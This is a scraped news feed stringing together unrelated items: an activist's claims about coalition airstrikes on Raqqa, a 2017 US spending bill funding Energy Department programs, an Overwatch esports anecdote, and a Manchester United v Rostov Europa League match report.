Between August 1 and 29, the coalition conducted 1,094 airstrikes on and near Raqqa city – up from 645 last month, the UN said Thursday citing coalition figures. In July, across Syria, a total of 885 airstrikes were conducted by the coalition.
The SDF siege on the ground against ISIS positions in the city, the activist revealed, is supported by French, British and US forces. Yet, according to Khalfa’s informed assessment, the ground troops and the air power have amounted to negligible, if any advances on the city.
‘Lines agreed to’ with Russia for final push against ISIS in Syria – US general
“The US led coalition didn’t intend to attack ISIL members or their gatherings places, as ISIL places are well-known to the public,” the activist said. “The US jets are destroying the buildings while SDF forces progress by land… but at night ISIL uses suicide vehicles to regain control of the same territories previously controlled by SDF.”
“When they talk about direct confrontation with ISIS – they are lying, there are no armed confrontations at all,” the activist told RT.
]]>
On Friday afternoon, President Trump signed a bipartisan spending bill negotiated in the House to fund the federal government through September 30, 2017. The bill contained funding for energy-related programs and offices that the president has called to be defunded. And, late this week, the Department of Energy (DOE) internally announced a cancellation of its grant freeze.
The omnibus spending bill was put together by House representatives over the previous weekend to avert a government shutdown. The bill was approved by the Senate on Thursday, and, with Trump’s signature, it became official.
Within the bill, the DOE’s Office of Science will get an extra $ 42 million for the 2017 fiscal year. Trump’s 2018 budget proposal wants to cut funding for this office by $ 900 million. That same 2018 budget proposal also called for the elimination of the Advanced Research Projects Agency-Energy (ARPA-E), but this week’s spending bill will provide ARPA-E $ 306 million, reflecting a $ 15 million increase from the year 2016.
]]>
Robert “shadder2k” Mocanu is one of the best Genji players in professional Overwatch. This weekend, he proved that he was not just a great player but also a pretty nice dude.
shadder2k and his cohorts in Team Liquid faced off against EnVyUs on Watchpoint Gibraltar during this weekend’s HND Overwatch Invitational. The most remarkable thing about the match is what he didn’t do. After Liquid manages to push the payload to the first checkpoint, shadder2k climbed to the top level and began to harass the enemy team. Here, he runs into Lui “Lui” Olivares’s Soldier 76.
Pegging him a few times with throwing stars, shadder2k backs off when he realizes that Lui isn’t responding. It’s unclear why he is frozen. The moment seems lost on the announcers but chat was more enthusiastic, painting shadder2k as a good-sporting chap deciding to spare a lagging opponent.
“Nice guy shadder stopped shooting,” one commenter said.
“Shadder being a gentleman,” another said.
This display of battlefield chivalry comes shortly after a shake up in EnVyUs’ roster. Earlier that day, Dennis “HULK” Hawelka left the team to join Laser Kittenz as head coach. Lui filled the open slot. EnVyUs would go on to win the series against Team Liquid 2 to 1. A turn of events that undoubtedly occurred because of shadder2k’s moment of mercy, butterfly effect style.
It was a most honorable deed, shadder. You truly are Genji in heart and spirit.
![]()
Manchester United players.
HENRIKH Mkhitaryan scored on his return from injury as Manchester United were held to a 1-1 draw by Rostov in their Europa League last-16 first-leg tie.
The Armenia international had spent another spell on the sidelines with a hamstring injury, but started the game in Russia which went ahead despite concerns from Manchester United about the state of the pitch.
Mkhitaryan opened the scoring in the 35th minute after a cutback from Zlatan Ibrahimovic, but United were pegged back by their hosts eight minutes after the break as Aleksandr Bukharov’s effort beat Sergio Romero.
Chances were mostly at a premium during the match and neither side could find another goal to take the aggregate advantage into next Thursday’s return leg at Old Trafford, although United do have an away goal in their favour.
The opening 30 minutes was a cagey affair as United adapted to the much-maligned pitch at the Olimp-2 Stadium, with the most interesting event early on being a substitution for Rostov as Vladimir Granat was replaced in the 18th minute by Denis Terentyev following a collision with Mkhitaryan.
Jose Mourinho (L) looks at Manchester United’s French midfielder Paul PogbaSource:AFP
The home side had a half-chance not long after the change as Marcos Rojo made a strong block to deflect Bukharov’s shot behind for a corner, but the resulting set-piece was fired straight into the hands of Romero.
United scored the all-important away goal with ten minutes of the first half to play as Marouane Fellaini did well to control Phil Jones’ long pass before releasing Ibrahimovic on the left-hand side of the box. The Swede then dinked the ball into the path of an unmarked Mkhitaryan who tapped home from close range.
Manchester United’s manager Jose Mourinho.Source:AP
Jose Mourinho’s side started with more vigour in the second half, as Ibrahimovic fired just over the bar within seconds of the restart before Ashley Young poked a fizzing cross past the post in the 52nd minute.
But 60 seconds later, Rostov surprisingly got themselves on level terms in what was a fine finish from Bukharov. The striker raced forward to meet an angled ball over the top from Timofei Kalachev, getting between Jones and Chris Smalling before thumping home past Romero to lift the home support.
Both sides could have doubled their lead in quick succession as Aleksandr Yerokhin got in behind the United back four in the 65th minute, but could only curl an effort wide before a strong Fellaini header from Daley Blind’s corner fell into the hands of Rostov goalkeeper Nikita Medvedev.
Manchester United’s Swedish striker Zlatan Ibrahimovic.Source:AFP
Rostov continued to push for another goal as the clock wore down with Kalachev going on a tricky run to the top of the box on 74 minutes before taking aim from the right-hand corner, but could only send it into the raucous home support.
Both goalkeepers were called into action in the final minutes with Medvedev coming off his line to punch away Blind’s free-kick before Romero collected a fizzing pass into the box from Kalachev and Alexandru Gatcan tried his luck with a long-range strike.
Anthony Martial could have been the hero for United with the final kick of the game as Fellaini headed down for the Frenchman, but he could not connect in the six-yard box to see the game end all square.
Manchester United players.Source:AP
Read more: http://www.skysports.com/football/rostov-vs-man-utd/370250
Originally published as Mkhitaryan spares point on Europa potato patch
]]>